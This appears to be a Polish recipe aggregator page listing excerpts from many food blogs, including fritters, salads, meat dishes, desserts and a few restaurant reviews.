Placuszki z cukinii przepis. 143

ziemniaczanych - pewnie zdrowszym. Placuszki te świetnie smakują zarówno na ciepło jak i na zimno. W domu podaję je z kleksem z jogurtu. Można je podać również z jakimś pysznym sosem np. koperkowym.  Przepis na placuszki z cukinii.  Składniki: 1 średnia cukinia, 2 jajka, 1 cebula, 2 łyżki jogurtu naturalnego, 100 g startego żółtego sera, 8 łyżek mąki pszennej

Pani domowa
KASZA MANNA Z MUSEM MALINOWYM 216

kuchenki i dopiero teraz je dodaj. Przelej całość z powrotem do miseczki. 3. W rondelku zagotuj maliny z odrobinką wody. Im dłużej je podgotujesz tym gęstszy będzie sos. Polej nim kaszę. SMACZNEGO ! Wartość odżywcza* porcji: 283 kcal 12,5 g białka 8,6 g tłuszczów (w tym 2,9 g tłuszczy nasyconych

Vroblewska-fitlife
Dwa Oblicza Jamie`go 221

pomysły na podanie zarówno zwykłych ziemniaków jak i dobrze znanego mięsa. Wszystkie potrawy są świetnie podzielone. Pyszne przystawki Gwóźdź programu Dania wegetariańskie i wegańskie Zjawiskowe ziemniaki Wspaniałe warzywa Smakowite sosy i wszelkie dodatki Kreatywne resztki Doskonałe świąteczne desery Popołudniowa herbatka i łakocie Śliczne i smaczne prezenty Popisowe sałatki Dipy, zagryzki i przekąski Idealne drinki Poradnik pieczenia mięsa Jak widzicie mamy

Blondynka Gotuje
Roladki z kurczaka z suszonymi pomidorami 217

różne sposoby. Na wczorajszy obiad przygotowałam roladki z piersi z kurczaka, nadziewane suszonymi pomidorami i panierowane w jajku i bułce. Chrupiące i soczyste... Roladki dodatkowo możemy podać z ulubionym sosem. Świetnie sprawdz ą  się jako przystawka na zimno lub na gorąco jako danie główne. Miłośnicy suszonych pomidorów na pewno polubią kurczaka w tej wersji. Składniki na 1 porcje: Pierś

kulinarne odsłony pati
Karkówka z pieczarkami i pęczakiem 300

pieczarki. Doprawiamy solą, pieprzem i dusimy aż odparuje z nich większość płynu.   Karkówkę podajemy z ugotowanym pęczakiem i duszonymi pieczarkami. Jeśli lubimy (a ja lubię) możemy przygotować również sos chrzanowy – będzie idealnie pasował. Post Karkówka z pieczarkami i pęczakiem pojawił się poraz pierwszy w Kulinarny Blog - wiesz jak gotować

Kulinarnyblog.pl - wiesz jak gotować!
Czerwona sałatka z quinoą i dressingiem z dziką różą 216

plastry i dodajemy do sałaty. Z owocu granatu odkrawamy kawałek, z którego wyciskamy sok do dressingu, a pozostałą część owocu wyłuskujemy do sałatki. Posypujemy wszystko quinoą i polewamy sosem zrobionym z wymieszanego dżemu, soku z cytryny, oliwy i soku z granatu. Już możemy jeść, więc smacznego

Quinoa Raz!
Wołowina duszona w cebuli z ogórkiem kiszonym 198

Duszona wołowina z cebulą w sosie własnym to sposób na pyszny obiadek.  Podałam z kluskami śląskimi ale również z kaszą jest pyszna, polecam. Składniki: 1 kg wołowiny 3 cebule 2 średnie ogórki kiszone masło do smażenia mąka do obtoczenia 2 ząbki czosnku 4 ziarna ziela angielskiego 2 liście laurowe sól, pieprz Wykonanie: Mięso umyć, osuszyć, pokroić w plastry

magiczna kuchnia Kasi
Aebleskiver - duńskie racuszki z pomarańczą i kardamonem na maślance 198

prawda, nie jadłam ich nigdy w kraju, z którego pochodzą, jednak te, które powstały w domowych zaciszu wyszły naprawdę przepysznie! Do tego cukier puder, dżem domowej roboty i trochę sosu waniliowego mamy - pyszna rozpusta! Tradycyjnie wypieka się je w okresie świątecznym i serwuje z dżemem z czerwonych owoców, przeważnie malin, obok gløgga - skandynawskiego grzanego wina. W przepisie, z którego

Kuchnia w Słońcu Skąpana
Falafel z piekarnika | ugotowana ciecierzyca 170

trasę, do pracy lub na uczelnię. Z czym podawać? To zależy jak lubisz. Ja, jak widać na zdjęciu, zaserwowałem sobie a’la falafel box, czyli sam falafel z sosem. Innymi opcjami są wrapy z falafelem. Weź tortillę , naleśnika lub pitę , trochę warzyw i ciesz się pysznym zawiniątkiem. Oczywiście falafel może być podawany jak normalny kotlecik. Ugotuj kaszę, ryż

Blendman
NALEŚNIKI Z MUSEM CZEKOLADOWYM I KARMELEM 221

gładkiego karmelu. Pozostaw do ostudzenia.* Lekko przestudzone naleśniki posmaruj musem czekoladowym.** Zwiń je w rulon, a następnie pokrój na mniejsze kawałki. Ułóż na talerzu w pozycji pionowej, polej przestudzonym sosem karmelowym. Pozostały karmel podaj osobno. * Jeśli karmel szybko twardnieje, dolej odrobinę wrzącej wody, i dobrze zamieszaj. Gdyby potworzyły się w nim grudki, podgrzej go na nowo, aby nabrał jednolitej, gładkiej

Smaki Francji współczesna kuchnia francuska
Inny Wymiar w sercu Warszawy 196

lubczykiem podanym z lanymi kluskami. Znajdziemy również polskiego śledzika, owczy ser oraz tatar. Z czystym sumieniem polecam Wam owczy smażony ser z pieczonym burakiem, który marynowany jest w orzechowym sosie (17 zł).  Dania główne to przede wszystkim mięsa, zjemy tradycyjnego schabowego z kością (29 zł) smażonego na smalcu w towarzystwie biodynamicznego jajka od Grotka, czyli jajka od kur, chowanych

Wylizany Rondel
Kotlety ziemniaczane z wędzonym boczkiem 228

bułce tartej. Zrobiłam duże kotlety i wyszło mi 9 sztuk. Następnie kotlety usmażyć na oleju z obu stron na ciemnozłoty kolor. Podawać z dowolnymi dodatkami. U mnie sos pieczarkowo-śmietankowy i sałatka z buraczków z białą kapustą

Monia miesza i gotuje
Sernik kokosowy (bounty) na zimno 422

Polewa czekoladowa: W małym garnuszku podgrzać śmietanę kremówkę, prawie do wrzenia, zdjąć z palnika. Zalać nią posiekaną czekoladę, odstawić na 2 minuty. Po tym czasie wymieszać do powstania gładkiego sosu czekoladowego. Schłodzony sernik polać gęstniejącą przestudzoną polewą czekoladową, rozprowadzić. Odstawić do lodówki do stężenia polewy. Można dodatkowo oprószyć wiórkami kokosowymi. Smacznego, Anulla

Fabryka pomysłów
Skrzydełka pieczone na słodko kwaśno 204

berberys, a następnie kalafior. Smaż przez 5 minut, mieszając od czasu do czasu. Na koniec wsyp brukselkę, natkę. Dopraw solą i smaż aż pilaf będzie ciepły. Upieczone skrzydełka polej sosem i podaj z kalafiorowym pilafem limonką. The post Skrzydełka pieczone na słodko kwaśno appeared first on Blog kulinarny - codojedzenia.pl

codojedzenia
Makaron z sosem dyniowym 217

które mogą leżakować do marca, kwietnia i takie moja pani posiada. Danie proste i bardzo pożywne, aromatyczne i smakowite. Dobrze rozgrzeje zziębnięte brzuchy, zapraszam do wypróbowania przepisu. Makaron z sosem dyniowym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Surówka z czerwonej kapusty 194

marchewkę zetrzeć na tarce o grubych oczkach. Cebulę pokroić w drobną kostkę. Jogurt wymieszać z majonezem, octem, musztardą, miodem i pieprzem. Kapustę wymieszać z jabłkiem, cebulą i marchewką. Dodać sos majonezowy i wszystko dokładnie wymieszać. Kapustę odstawić do lodówki na co najmniej pół godziny przez podaniem

Bullio
Tort bezowy Lusette 188

wnętrzem, kremem z gorzkiej  czekolady i pokruszonymi wafelkami Lusette , wyborny, dla wielbicieli czekoladowych smaków , obłędnie słodki, wbrew pozorom wcale nie trudny do wykonania, można torcik  jeszcze polać sosem karmelowym ale uznałam że dość słodyczy! Składniki: 3 blaty bezowe o śr 20 cm: 6 białek 30 dag cukru 1 łyżka soku z cytryny 2 łyżeczki maki ziemniaczanej Szczypta soli

Wanilia i Kardamon
Ravioli z mięsem drobiowym i sos słodko kwaśny 187

kratki o wym 5/5 cm Nakładamy łyżeczką małe porcje nadzienia i przykrywamy powoli drugim plackiem, przyciskamy dookoła każdej porcji nadzienia, tniemy całość na kwadraty.  Gotujemy w osolonym wrzątku. Sos użyłam z przetworów jesiennych sodko kwaśny

Gotowanie jest łatwe
Buraczki z rokpolem 183

mieszamy. Orzechy prażymy na suchej patelni, po czym siekamy je (raczej niezbyt drobno). Ser pleśniowy rozcieramy w garnuszku. Dodajemy do niego majonez. Doprawiamy solą, pieprzem oraz gałką muszkatołową. Powstały sos łączymy z buraczkami. Mieszamy. W razie konieczności ponownie doprawiamy.   Źródło: 101 przepisów

Smaki Na Talerzu
Banany w cieście kokosowym 215

Obtaczamy banany w cieście i smażymy na maśle na złoto ze wszystkich stron. Gotowe odsączamy na papierowym ręczniku i posypujemy niewielką ilością wiórków - w wersji "wypas" możemy polać sosem czekoladowym! Smacznego :)    Zapraszam do polubienia mojej  strony na Facebooku  oraz śledzenia na  Instagramie 1 porcja  - 450 kcal - 1 cały banan w cieście - ja osobiście jestem

Moje Kuchenne Rewelacje
Ciasto herbaciane indyjskie 248

łyżeczki mielonego  kardamonu 1 łyżeczka sody oczyszczonej pół łyżeczki mielonego cynamonu garstka lekko prażonych łuskanych  pistacji bez soli garść  suszonej żurawiny kandyzowana skórka pomarańczy 3 łyżki sosu z mango, moreli i kolendry ale może być również domowa konfitura Mąkę ,sodę oraz przyprawy korzenne przesiej do miski, wymieszaj. Jaja ubij z cukrem. Wlej olej oraz ciepłą herbatę

Z Kuchni Do Kuchni
Indyk w młodym jęczmieniu – dietetyczny obiad 349

aromat zbliżony do pistacji, ma dużo zdrowotnych walorów, a jego piękny zielony kolor może zachęcić małych niejadków do skosztowania pysznego obiadu. Doskonale komponuje się z hummusem i makaronem. Smacznego! Sos nagietkowy – pomysł na orkiszowy makaron Hummus – podstawowy przepis Domowy hummus z jagodami

MarcinChef
Pieczona czerwona kapusta 147

serem pleśniowym można podawać jako osobne danie lub jako część większego posiłku. Zaskakująco smaczna i bardzo prosta w wykonaniu. mała główka czerwonej kapusty niebieski ser pleśniowy ( wasz ulubiony ) sos ze zredukowanego balsamico

Polska Zupa
Marynowana polędwiczka wieprzowa z sosem czosnkowym 206

Choć i tak wiadomo, że efekt końcowy   w dużej mierze będzie zależał od jakości mięsa. Po pieczeniu - dajemy chwilę odpocząć mięsku. Kroimy w plastry. Podajemy z ryżem i sosem czosnkowym zrobionym w tzw. międzyczasie. No rewelka. Prosto, smacznie i lekko, a przy okazji odrobinkę inaczej. Polecam

Kuchnia po mojemu
Fasolka z warzywami i grzankami 205

pieczarek (ok. 100 g), - ½ cukinii (ok. 112 g), - 1/2 puszki fasoli (ok. 120 g), - ząbek czosnku, - 1/2 puszki pomidorów (ok. 200 g), - przyprawy: oregano, papryka słodka, wędzona, ostra, sos sojowy, - kromka chleba graham (ok. 30 g). Sposób przygotowania 1. Cebulę szklimy na łyżeczce oleju. 2. Paprykę kroimy w paski a pieczarki w plastry i dodajemy do cebuli. Dusimy kilka minut

Zdrowe odżywianie w pięciu smakach
Sałatka z awokado i tuńczyka - idealna na kanapki 190

sycąca i pełna dobrych witamin. Smacznego i oby do wiosny! Składniki: 2 dojrzałe awokado 1 łyżka soku z cytryny 1 pęczek szczypiorku 1 papryczka chili 160 g tuńczyka w sosie własnym sól do smaku 2 średnie ząbki czosnku Awokado przekroić na pół, wyjąć pestkę i łyżką wydrążyć miąższ. Przełożyć do miseczki. Dodać sok z cytryny i odsączonego tuńczyka. Wymieszać wszystko

Codzienna kuchnia niecodzienna
Wątróbka drobiowa z pieczarkami w sosie śmietanowym 280

Uwielbiam wątróbkę drobiową! Mogę ją jeść na wiele sposobów dzisiaj przygotowałam dla Was wersję z pieczarkami i sosem śmietanowym, ze świeżą natką pietruszki. Jest taka dobra, że mój mąż pochłonął prawie całą porcję - prawie, bo on nie lubi wątróbki :) Spróbujcie, nawet jeśli za wątróbką nie przepadacie gwarantuję, że nie pożałujecie :) 0,5 kg. wątróbki drobiowej 1 łyżka musztardy dijon (można

Wilczkowy Świat - nasze codzienne gotowanie
Pieczona czerwona kapusta 162

serem pleśniowym można podawać jako osobne danie lub jako część większego posiłku. Zaskakująco smaczna i bardzo prosta w wykonaniu. mała główka czerwonej kapusty niebieski ser pleśniowy ( wasz ulubiony ) sos ze zredukowanego balsamico

Polska Zupa
TARTA KEBAB-GYROS 206

zalewy. Wszystkie pokrojone składniki wykładamy na podpieczonym cieście. Do miski wbijamy jajka i rozbełtujemy je. Dodajemy mleko, ok. 1 łyżeczkę przyprawy kebab-gyros, majonez oraz ketchup i dokładnie mieszamy. Sosem polewamy składniki na cieście. Wkładamy do piekarnika nagrzanego do 180 stopni na 20-25 min. Podajemy na ciepło

Kuchnia MagdaLeny
Sałatka z zupek chińskich i kabanosów 521

Składniki: 3 zupki chińskie 1 opakowanie kabanosów 120 g 1 puszka groszku 1 słoik papryki marynowanej 4 ogórki marynowane sos czosnkowy Fanex majonez sałatkowy Fanex Przygotowanie: Makaron z zupek pokruszyć do … Czytaj dalej Sałatka z zupek chińskich i kabanosów

czarrna od kuchni
Spaghetti Eleanor Roosvelt 189

Marchewkę gotujemy do miękkości. Osobno rozpuszczamy na patelni margarynę i dosypujemy mąki i mieszamy tworząc zasmażkę. Dolewamy wody po marchewce i mleka, ciągle mieszając, aby zrobił się nam gęsty sos. Dodajemy marchwi i mieszamy. Wkładamy wszystko do żaroodpornego naczynia i zapiekamy w piekarniku nastawionym na temperaturę 180 stopni przez 15 minut

Kryzysowa Książka Kucharska
Cytrynowe Królowe w JiM Cafe 206

cytryny są najlepsze, dlaczego bez cukru nie da się obejść i co do czego z czym się je :) Jak się okazuje cytrynowe konfitury są idealne do mięsa, słodyczy, do sosów i herbaty.  Próbowałam każdej. Samodzielnie i z krakersem. Jednak moje podniebienie oszalało przy konfiturze anyżowej i rozmarynowej.. Poezja smaku, nowe doznania smakowe i podróż w nieznane

Czarnawisienka
KURCZAK PIECZONY W ZIOŁACH Z PURE Z BATATA 222

wodzie aż będą miękkie. Odcedzamy, dodajemy masło i blendujemy na gładkie puree.   Na talerz rozkładamy porcję puree z batata, na to mięso oraz porcja warzyw. Dekorujemy roszpunką i sosem balsamicznym. Smacznego

Kulinarne Fantazje Marioli
Pysznie i elegancko w restauracji Tamka 43 241

wine. Organizowane są tutaj także wernisaże. Wystrój jest minimalistyczny, elegancki i ciepły. Bardzo krótka karta dań, która zmienia się bardzo często, jest oparta na sezonowości produktów. Króluje tu sosu vide, czyli długotrwałe gotowanie w niskich temperaturach. A ponieważ ducha Fryderyka Chopina czuć wszędzie - vis a vis mieści się Muzeum Chopina, a na okolicznych ścianach domów powstały piękne murale - restauracja

Kulinarne przygody Gatity
Żeberka pieczone w sosie barbecue 133

zewnątrz spalone a w środku pół-surowe. Trzeba było dużo prób, żeby zaczęły mi wychodzić żeberka, które mi smakują. To właśnie ten przepis - klasyczny i sprawdzony - soczyste mięso w sosie barbecue

Milion Smaków
Zupa z wołowiną, pak choi i ryżem 183

posiekaną cebulę, korę cynamonu, anyż i smażymy razem około 5 min, często mieszając. Następnie dodajemy drobno posiekany czosnek oraz imbir, chilli i chwilę razem smażymy. Całość zalewamy bulionem, dodajemy sos sojowy, , doprowadzamy do wrzenia i zmniejszamy płomień. Gotujemy na wolnym ogniu ok. 40 min, do momentu kiedy mięso zmięknie. Do zupy dodajemy pokrojoną kapustę oraz ryż i gotujemy do jego

R'n'G Kitchen
Sałatka z ziemniaków truflowych z czerwoną quinoą, ogórkiem kiszonym i porem 175

gotujemy w łupinach, a następnie obieramy i studzimy. Kroimy w kostkę (nie musi być bardzo drobna), dodajemy pokrojone w plasterki ogórki, quinoę, i plasterki pora. Doprawiamy solą, pieprzem i sosem zrobionym z oliwy z oliwek, soku z cytryny i musztardy. Pyszna i prosta sałatka gotowa

Quinoa Raz!
Makaron ryżowy z mięsem mielonym i brokułami 200

mięsa mielonego drobiowego 70 g brokuła średnia marchew 1 łyżka masła klarowanego 30 g cebuli 1 zabek czosnku 1 łyżka imbiru pieprz sok z 1/4 limonki 1 łyżka sosu sojowego płatki chili Wykonanie: 1. Makaron ryżowy ugotować wg instrukcji na opakowaniu. 2. Brokuły podzielić na małe różyczki, marchew pokroić w plasterki. Warzywa zblanszować we wrzątku przez 2-3 min. Odsączyć

Atlas Smaków
Domowe spaghetti bolognese 167

puszce. Całość gotujemy jeszcze przez około 4 minuty. Podajemy z ugotowanym makaronem i opcjonalnie posypujemy suszoną bazylią. Jeśli nie przelalibyśmy makaronu zimną wodą, nie zatrzymalibyśmy proces gotowania, a sos w połączeniu z makaronem po dłuższej chwili wsiąkłby cały w makaron :) Smacznego

Klasyka Gotowania
Obiad Za 10 zł Czyli Tarta Z Warzywami 580

piekarniku nagrzanym do 210 stop. przez 8-10 minut. Jeśli zostanie nam ciasta wkładamy je w woreczku do zamrażalki. 4. Na lekko przestudzony spód tarty wykładamy warzywka i zalewamy sosem jajecznym. Możemy zetrzeć resztę ciasta na wierzch. Ps. dorzuciłam dupkę kiełbaski bo nie chciałam aby się popsuła w lodówce, ale spokojnie bez niej tarta też jest naprawdę ekstra smaczna :) Całość

Gotowanie...to proste !
Potrawka z kurczaka i warzyw zapiekana z ciasteczkami 202

warzywami i nie zapiekać jej dalej – można ją podać potem np z ryżem. kub zjeść bez dodatków bo sama w sobie jest pełnym daniem ( mięso, warzywa, ziemniaki i sos:) . Z kolei patent na ciasteczka można wykorzystać w innych daniach, zapiekankach i gulaszach. Potrawka z kurczaka i warzyw zapiekana pod ciasteczkami   Drukuj Prep time 25 min Cook time

Cooking for Emily
Rolada omletowa z owsianką, że łooo :) 193

Omlet na słodko to wspaniały pomysł na śniadanie - szybko, smacznie, masa możliwości do kombinowania, bo dodatkiem może być wszystko co chcemy i lubimy: owoce, dżemy, kremy, sosy... Miliony możliwości :) Możliwości przygotowania samego omletu też jest sporo - można jajka lekko roztrzepać, można ubić całe na puszysto lub osobno ubić białka i dodać resztę składników. Ja zrobiłam właśnie ubijając białka osobno - dzięki

Kolorowy Przepisownik
Bardzo niezdrowa zupa ziemniaczano-porowa 313

zgrzeszyłam bardzo i wątpię czy będzie mi to wybaczone. O, Najwyższy! Ty widziałeś jak robię zupę i nie zesłałeś na mnie gromów?! Zobacz też przepis na błyskawiczny makaron z sosem serowo pomidorowym ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
KREMOWA ZUPA KARTOFLANA 148

pietruszki 2 łyżki udka z kurczaka 2 sztuki sól 1 łyżeczka pieprz do smaku ewentualnie przyprawa uniwersalna do smaku szczypiorek posiekany 2-3 łyżki  śmietana do zup i sosów 12 % 1/4 szklanki masło 2 łyżki ~~METODA~~ Warzywa obieramy. Ziemniaki, korzeń pietruszki i selera kroimy w drobną kostkę. W garze rozpuszczamy masło. Wrzucamy pokrojoną w piórka lub kostkę cebulę. Smażymy

Kuchnia Paulettes
Pyszne placuszki z kurczakiem i warzywami 184

papierowym ręczniku, przykryć drugim. Lekko przycisnąć, żeby pozbyć się niepotrzebnego tłuszczu. Podawać z sałatą i ziemniakami. Zabieram sobie jutro do pracy. Zjem je z sałatką roszponką i polane sosem czosnkowym. Sposób podania tych placuszków czy klopsików może być różny. Te placuszki są pyszne, polecam

Kuchnia Pokoleń
Sałatka z fenkułem i tuńczykiem w pieczarce 177

Wyrazisty smak tuńczyka, współgra z smażonym koprem włoskim i pieczarką. SKŁADNIKI: (na dwie porcje) 2 duże pieczarki mieszanka sałaty 1 fenkuł (koper włoski) 1 czerwona cebula puszka tuńczyka w sosie własnym winegret: łyżka octu winnego łyżka oliwy z oliwek łyżka wody ½ łyżeczki cukru sól, świeżo mielonym czarny pieprz PRZYGOTOWANIE: Winegret: W małym słoiczku umieszczamy oliwę z oliwek, ocet, wodę, cukier

Pyry na Gaz
Surówka z kapusty pekińskiej i marchewki 2256

surówki. W szklance wymieszać majonez, jogurt, wyciśnięty czosnek, miód i ocet. Doprawić solą i pieprzem i dokładnie wymieszać łyżką. Koperek drobno posiekać i dodać do surówki. Całość zalać przygotowanym sosem i wymieszać. Odstawić do lodówki na co najmniej pół godziny

Bullio
Pomarańczowe Naleśniki z Karmelizowanymi Jabłkami 248

cynamonem. Przemieszałam i przykryłam patelnię pokrywką, zmniejszyłam płomień pod patelnią i dusiłam kilka minut. Ile dokładnie? Zobaczysz, u mnie był to moment, w którym jabłka pokryły się gęstym brązowym sosem.  Ja smażąc naleśniki w między czasie przygotowywałam jabłka i kiedy wszystko już było gotowe, cieplutkie naleśniki nadziałam jabłkami i oprószyłam cukrem pudrem. SMACZNEGO życzy

Blondynka Gotuje
Tortilla przekładana piersią z indyka 214

przesmażenia i aby ser się rozpuścił . Kiedy nasza tortilla jest już dobrze zarumieniona , przekładam na deskę , kroje w  trójkąty , i gotowe do podania , ja uwielbiam taką tortille z sosem czosnkowym . Z tej ilości mięsa wychodzą 3 takie podwójne placki

Mój Smak
Cynamonowy kurczak z batatami, papryką w sosie mango 233

Cynamon nierozerwalnie związany jest z szarlotką i często tylko z nią kojarzony. Oczywiście nie wyobrażam sobie też sosu bolońskiego bez cynamonu, a od dziś również kurczaka z tą  przyprawą.  Fajne i oryginalne połączenie smaków zaowocowało fantastyczną zapiekanką. Delikatnie wyczuwalny sok z mango nadaje potrawie atrakcyjności, poza tym łatwo i szybko ją przygotować.     1 podwójna

Jadło i czytadło
Perliczka w sosie grzybowo – śmietanowym, marynowana w ziołach 138

razem przesmażamy. Wykładamy grzyby razem z płynem z moczenia. Doprawiamy solą do smaku i dusimy pod przykryciem do miękkości mięsa. Pod koniec dodajemy śmietanę. Na tym etapie możemy zagęścić sos mąką lub nie. Odlewamy niewielką ilość płynu i rozprowadzamy dokładnie mąkę ( ok. 1 ½ łyżeczki ). Ponownie umieszczamy w daniu. Zagotowujemy. SMACZNEGO. (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject

Smaki Ewy
Surówka z kapusty włoskiej 186

ogórkami. Pora kroimy na cienkie paski.  Szatkujemy drobno koper. Ocet łączymy z musztardą i oliwą. Doprawiamy cukrem, solą i pieprzem. Wszystkie składniki ze sobą mieszamy i polewamy sosem

Qchnia po prostu
Mix sałat do obiadu 176

smaku Sałatę płuczemy pod bieżącą wodą, odsączamy. Chyba, że na opakowaniu mamy informacje, że produkt jest umyty, gotowy do spożycia, to wysypujemy od razu do półmiska. Przygotowujemy sos: w głębokiej misce mieszamy jogurt z wyciśniętym przez praskę czosnkiem, cukrem, solą i posiekaną natką pietruszki. Odstawiamy na 15 minut, po czym polewamy sałatę i delikatnie, ale dokładnie

Kulinarne przemyslenia
Golonki indycze pieczone 214

foliowego rękawa wraz z przygotowanymi ziemniakami wg. przepisu: ziemniaczki pieczone W zależności od rodzaju piekarnika pieczemy w 200 stopniach od 1-1,5 godziny. Podajemy z mieszanką sałat z sosem jogurtowym, wg. przepisu:  sałata do obiadu

Kulinarne przemyslenia
PLACUSZKI GRYCZANE -BEZGLUTENOWE 183

rozgrzewam olej rzepakowy i za pomocą łyżki nakładam na patelnię porcję. Smażę na rumiano.  Po usmażeniu przekładam na ręcznik papierowy by odsączyć nadmiar tłuszczu.   Podaję z sosem warzywnym, mięsnym lub z jogurtem naturalnym

Gotowanie Patki
KULINARNE PODRÓŻE - BUKOWINA TATRZAŃSKA 198

jagodami, smalec z ogórkiem kiszonym. W ogóle surówka z marchewki i kapusty kiszonej również poezja. Ponadto żurek z białą kiełbaską bez skórki no i obowiązkowo placki ziemniaczane z sosem borowikowym.  W Wancie można również kupić bilety do term z 10% rabatem :-) Podsumowując Wanta pod względem jedzenia nie do zastąpienia. Pokoje też ok.tylko jest dosyć głośno w przeciwieństwie do kolejnego

pieprzny smaczek
Podpłomyk alzacki 258

Pomysł na dzisiejsze danie jest bardzo prosty. Czasem w prostocie siła. Kilka prostych składników tworzy niesamowity pyszny efekt. Podpłomyk alzacki przypomina rodzaj pizzy, jednak pozbawiony jest sera i sosu pomidorowego. Za to równie pyszny. Polecam wypróbować przepis! Do przygotowania dania użyłem: 250 gram mąki pszennej typ 450, 100 gram wędzonego surowego boczku, 100 gram creme fraiche, 1 cebuli, pęczka szczypiorku

Wyprawy kulinarne
Karkówka w sosie chrzanowo - musztardowym 291

patelni rozgrzać olej i obsmażyć karkówkę z obu stron. Przełożyć do garnka i dusić pod przykryciem około 50 minut. W garnuszku rozrobić śmietanę z mąką i zaprawić nią sos. Całość gotować jeszcze przez chwilę. Smacznego

Nie tylko w kuchni
Kapusta pekińska do obiadu 4681

jednocześnie obiad i sałatkę makaronową na kolację, po czym zorientowałam się, że do obiadu, owszem mam pekinkę, ale nic więcej. Tak więc z sałatki makaronowej uszczknęłam odrobinę kukurydzy, trochę sosu, dodałam kilka korniszonów i dla zapachu i smaku (a i wygladu również;)) całość posypałam koperkiem. Wyszło pysznie. 1 średniej wielkości kapusta pekińska 1/2 puszki kukurydzy kilka korniszonów (u mnie

Smaki Na Talerzu
FRYTKI Z BATATÓW 229

stałe. Tym bardziej, że przygotowanie ich zajmuje dosłownie chwilę. Idealne jako dodatek do obiadu, ale także jako np. lekka kolacja. Można je podawać same lub z dowolnym, ulubionym sosem. Polecam! Ten smak Was zauroczy... :-) Ja przygotowywałam z 4 średnich batatów, jako dodatek do obiadu dla 5-ciu osób. Ten smak jest uzależniający... :-) Składniki: - 4 średnie bataty - sól (u mnie himalajska

Smaczne Zdrowe
ZAPIEKANKA Z KURCZAKA I RYŻU + FILMIK 329

Kurczak zapiekany z ryżem to jedna z pyszniejszych zapiekanek i w dodatku bardzo prosta w przygotowaniu. Ryż zapieczony w sosie pomidorowym staje się mega smaczny, delikatny a pałki z kurczaka są soczyste i mięciutkie. Całe danie jest mega smaczne, polecam

Kulinarne Fantazje Marioli
PENNE Z KURCZAKIEM, SZPINAKIEM I GORGONZOLĄ 370

jeden ze swoich ulubionych przepisów – Penne z kurczakiem, szpinakiem i gorgonzolą . Danie błyskawiczne do zrobienia, niesamowicie smaczne i niesamowicie aromatyczne. Gorgonzola po rozgrzaniu zamienia się w delikatny, kremowy sos oplatający makaron i mięso – wspaniale komponuje się z soczystym kurczakiem. Zawsze z przyjemnością sięgam po dokładkę! Wersja wegetariańska, bez mięsa jest równie genialna i zachwyci nawet najbardziej wybrednych smakoszy

Ostra na Słodko
Pieczone placki ziemniaczane 213

Chrupiące placki ziemniaczane z piekarnika. Ziemniaki są grubo utarte. Placki podaję z sosem czosnkowym i surówką. W takiej wersji stanowią całkiem obfity obiad Z przepisu wychodzi 9 średniej wielkości placków. 0,5 kg ziemniaków 2 łyżki mąki ziemniaczanej 1 jajko 1 łyżka śmietany 18% 1 mała cebula 1/2 ząbka czosnku szczypta soli ok. 1/2 łyżeczki pieprzu Ziemniaki i cebulę utrzeć

Bullio
Sałatka z tuńczykiem i selerem naciowym 264

sałatkę. Jest naprawdę super! Połączenie jak dla mnie idealne, jednocześnie jeszcze bardziej przekonało mnie do selera naciowego, za którym wcześniej nie przepadałam. Składniki: 2 puszki tuńczyka (kawałki w sosie własnym) 1 mała puszka kukurydzy 3-4 ogórki kiszone 4-5 łodyg selera naciowego (u mnie był dość długie) 1 cebulka majonez pieprz świeżo zmielony Sposób wykonania: 1. Tuńczyka i kukurydzę

Kuchnia domowa Ani
Pasta z serka śmietankowego, tuńczyka i jajka 231

kolację. Takie kanapeczki sprawdzą się również na imprezkach, jako przekąska. Pasta jest aromatyczna, konkretna w smaku, a równocześnie, za sprawą serka, delikatna. Składniki: 1 puszka tuńczyka w sosie własnym 1 mała cebula czerwona 1 jajko, ugotowane na twardo 1 czubata łyżka siekanej natki pietruszki 150 g serka śmietankowego sól i pieprz do smaku Wykonanie: Tuńczyka odsączamy z zalewy. Cebulę

Smak mojego domu
Krem z selera i pietruszki 168

dieta polega na spożywaniu niebarwiących pokarmów i napojów. Należy unikać picia kawy, herbaty czarnej, białej i zielonej, czerwonego wina, ciemnych soków coli i innych ciemnych napojów. Unikać trzeba ciemnych sosów, zup oraz warzyw i owoców takich jak buraczki, szpinak

Kulinarne pyszności Molki
Nowość od Społem Kielce ? 180

Dziś dostałam niespodziankę od mark Społem Kielce w oczekiwaniu na nowość. Jesteście ciekawi bo j bardzo. Jakie są Wasze typy. Moje to pyszny sos kanapkowy lub ketchup. :) Bardzo dziękuje za niespodziankę

Kulinarne pyszności Molki
Pyszna sałatka jarzynowa z warzywami na parze . 226

łask w kuchni powraca parowar. W moim odczuciu warzywa gotowane na parze zachowują swoje wartości odżywcze,witaminy i minerały. Warzywa są zdrowsze i smaczniejsze. Tym razem zamiast majonezu, dodałam sos czosnkowy Kielecki. Składniki 3 szt marchewki 1 szt pietruszka jedno duże jabłko 1 szt mały seler 2 szt ogórki kiszone 1 szkl groszek konserwowy 1 szt mały

Kulinarne pyszności Molki
Rolada z tuńczyka z olejem rzepakowym 172

olejem rzepakowym. Roladę możemy podać na przystawkę lub kolację, „Olej rzepakowy jest naturalnym źródłem kwasów omega – 3 i dlatego często dodaję do potraw i przygotowuję na bazie oleju różne sosy składniki 4 opakowania tuńczyka w oleju 2 jajka

Kulinarne pyszności Molki
Roladki z górki cielęcej z grzybami leśnymi podane na puree selerowo-jabłkowym z chrzanem z sosem pieczeniowym z karmelizowanym 182

postaram się w najbliższym czasie przygotować kilka dań, które zachwycą nasze podniebienia. Dziś przygotowałam roladki z górki cielęcej z grzybami leśnymi podane na puree selerowo-jabłkowym z chrzanem z sosem pieczeniowym z karmelizowanym jabłkami z olejem rzepakowym, które możecie podać na obiad, kolację, przyjęcia i wiele innych okazji. Danie grzechu

Kulinarne pyszności Molki
Sałatka letnia w ogórku z olejem rzepakowym 198

Latem sałatki ze świeżymi warzywami i owocami są najpyszniejsze. Zdrowe owoce,warzywa pyszny sos i kolacja gotowa. Smakuje obłędnie :) Prosta sałatka podana inaczej czyni ją wyjątkową. Nie wiem jak inni ale ja bym jadła ją oczami. Inspiracją do podania sałatki w ogórki była restauracja hotelowa.„Olej rzepakowy jest naturalnym źródłem steroli roślinnych oraz witaminy E i dlatego jest bardzo

Kulinarne pyszności Molki
Grillowane brzoskwinie o smaku wędzonki z szynką parmeńską 197

